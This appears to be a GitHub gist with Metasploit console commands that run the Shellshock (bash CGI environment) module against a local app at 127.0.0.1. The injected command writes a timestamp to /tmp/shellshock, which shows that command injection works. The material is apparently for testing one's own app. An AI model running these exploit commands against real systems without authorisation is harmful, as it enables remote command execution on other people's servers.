Skip to content

Instantly share code, notes, and snippets.

@blasterpal
Last active February 17, 2018 19:36
Show Gist options
  • Save blasterpal/f246b417be498608cc9c to your computer and use it in GitHub Desktop.
Save blasterpal/f246b417be498608cc9c to your computer and use it in GitHub Desktop.
shellshock metasploit example use
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole
#start msfconsole
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set VHOST app.local
set TARGETURI "/all"
set RPORT 3000
set RHOSTS 127.0.0.1
set CMD 'echo NOW `date` > /tmp/shellshock &'
run
#check for file,etc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment